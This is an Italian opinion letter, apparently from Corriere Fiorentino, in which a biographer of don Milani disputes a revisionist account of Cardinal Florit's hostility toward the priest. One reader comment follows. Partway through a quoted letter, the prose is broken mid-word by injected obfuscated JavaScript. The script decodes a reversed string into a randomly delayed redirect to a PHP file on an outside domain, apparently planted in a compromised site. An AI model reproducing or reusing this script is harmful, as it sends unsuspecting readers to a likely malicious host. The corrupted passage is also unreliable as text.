Rapporti tra Curia e Don Milani. E' l'ora del revisionismo.

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Mario Lancisi, giornalista de Il Tirreno, studioso del mondo cattolico fiorentino e biografo di don Milani, interviene dopo l’articolo di David Allegranti ( Corriere Fiorentino, 3 febbraio) sul libro scritto da Marcello Mancini e Giovanni Pallanti, La preghiera spezzata.

Caro direttore, le scrivo una lettera come studioso di don Milani. E se Florit non fosse di destra?, si chiede David Allegranti sul Corriere Fiorentino di mercoledì scorso a proposito del libro di Marcello Mancini e Giovanni Pallanti «La preghiera spezzata», edito dalla Lef, in cui, attraverso anche la testimonianza di don Paolo Ristori, che dell’ex cardinale di Firenze fu segretario, si tenta di smontare una «vulgata» molto diffusa. E si porta come prova principale di un Florit non di destra la rivelazione di don Ristori (che l’aveva già peraltro resa nota qualche anno fa) secondo cui non fu il cardinale friulano «ad esiliare don Milani». Dirò subito che intendo sottrarmi alla dicotomia destra-sinistra che non serve a spiegare le vicende ecclesiali. Ma con altrettanta chiarezza aggiungo di non condividere affatto il tentativo revisionista del rapporto tra la Curia fiorentina e don Milani. Per le ragioni che brevemente provo ad illustrare.

1) Si dice: Florit non esiliò don Milani. La storiografia migliore sul priore di Barbiana non ha mai sostenuto il contrario. Sfido a trovare anche solo una frase che incolpi della cacciata di don Milani Florit, che nel 1954, anno dell’esilio milaniano, era appena arrivato a Firenze.

2) I documenti riportati, soprattutto nei lavori di Giorgio Pecorini e Massimo Toschi (che ha potuto consultare l’archivio Florit), da me ripresi e ampliati in «Don Milani. La vita» (Piemme), anche grazie alla testimonianza di monsignor Loris Capovilla, che fu segretario di papa Giovanni XXIII, evidenziano l’ostilità dell’allora cardinale di Firenze nei confronti di don Milani e, di contro, a un atteggiamento comprensivo e dialogante della segreteria di Stato e di due papi, Roncalli e Montini. Mi limito a citare solo due circostanze: la condanna nel 1958 di Esperienze pastorali e le polemiche scaturite alla pubblicazione da parte di don Milani della lettera ai cappellani militari sull’obiezione di coscienza. Dai documenti pubblicati da Toschi (don Milani e la Chiesa, edito da Polistampa) emerge chiaramente come Florit si operò perché da Roma arrivasse la condanna del libro del priore di Barbiana. Florit suggerì al segretario di Stato di allora Angelo Dell’Acqua di affidare a Civiltà Cattolica, autorevolissima rivista dei gesuiti, il compito di stroncare il libro. E in una lettera riservata al Santo Offizio Florit fornì questo ritratto del priore di Barbiana: «Nato da una famiglia israelita e battezzato in età adulta… reca con sé le tracce del mondo a cui ha appartenuto prima della conversione. Una di queste è il gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande amore al paradosso e una spiccata libertà di giudizio». L’interessato suggerimento di Florit andò a buon fine. Il 20 settembre 1958 Civiltà cattolica uscì con un articolo, «Le esperienze di don Milani», firmato da padre Angelo Perego. Questo articolo portò alla condanna del Sant’Uffizio.

3) Della lettera ai cappellani militari (1965) don Milani stampò a ciclostile tremila copie e le inviò a tutti i giornali, quelli cattolici per primi. Nessuno la pubblicò. Salvò l’Unità e Rinascita del Pci. Ne nacque una polemica e partì una denuncia che portò al processo contro don Milani. Il 6marzo, giorno dell’uscita su Rinascita della Lettera, Florit nel diario personale annotò: «giornata triste» e definì il priore di Barbiana «comunistoide». L’8 marzo Florit prese carta e penna e inviò una missiva durissima a don Milani che si concludeva con la minaccia di sospensione a divinis. «I suoi interventi che sanno di classismo sono immediatamente strumentalizzati e distorti, a prescindere dalle sue intenzioni, dalla stampa comunista», si lamentò l’arcivescovo di Firenze. Mi fermo qui. Ma le carte che documentano che Florit non capì e osteggiò don Milani sono numerose. Il compito della Chiesa fiorentina (ma anche della società civile, a destra come a sinistra) credo non sia quello di riscrivere la storia milaniana a proprio uso e consumo. Di tirarlo per la giacchetta, insomma. Ma di confrontarsi fino in fondo e con coraggio con l’esperienza e il messaggio di don Milani. E, come credente, a me non interessa che un vescovo sia di destra o di sinistra, ma che — alla luce della parabola del buon samaritano — sappia riconoscere o, almeno si sforzi di farlo, i preti e i cristiani (da don Milani a don Santoro) che mettono al centro della loro vita le vittime della storia, e non tirino dritti per la loro strada come il sacerdote e lo scriba della parabola. Questa è la sfida che la vita di don Milani consegna alla Chiesa tutta, e in particolare a quella fiorentina. E a quanti, credenti e no, lo considerano una figura importante nella storia dei nostri tempi.

[Fonte Corriere Fiorentino]

0 Comments

  1. Giancarlo Zani

    Sono stato un frequentatore di Barbiana e francamente sono stupito che possano essere fatti commenti negativi sul libro di Adele Corradi “non so se don Lorenzo” E’ un libro fatto di umanità e schiettezza come voleva don Milani . Chi ha conosciuto il priore di Barbiana sa benissimo che ha sofferto tantissimo sull’atteggiamento della Curia e del Cardinale Florit verso di lui. Ricordo che lo andai a trovare mentre era ricoverato a Careggi e volle leggerci la lettera che Florit gli aveva mandato, pianse diverse volte prima di finirla.Don Lorenzo era un cattolico convinto e sempre obbediente ma questo non gli impedito di soffrire per le incomprensioni del sui Vescovo. In quanto a G.Pucci mi dispiace proprio che sia divenuto(?) il proprietario della lef.

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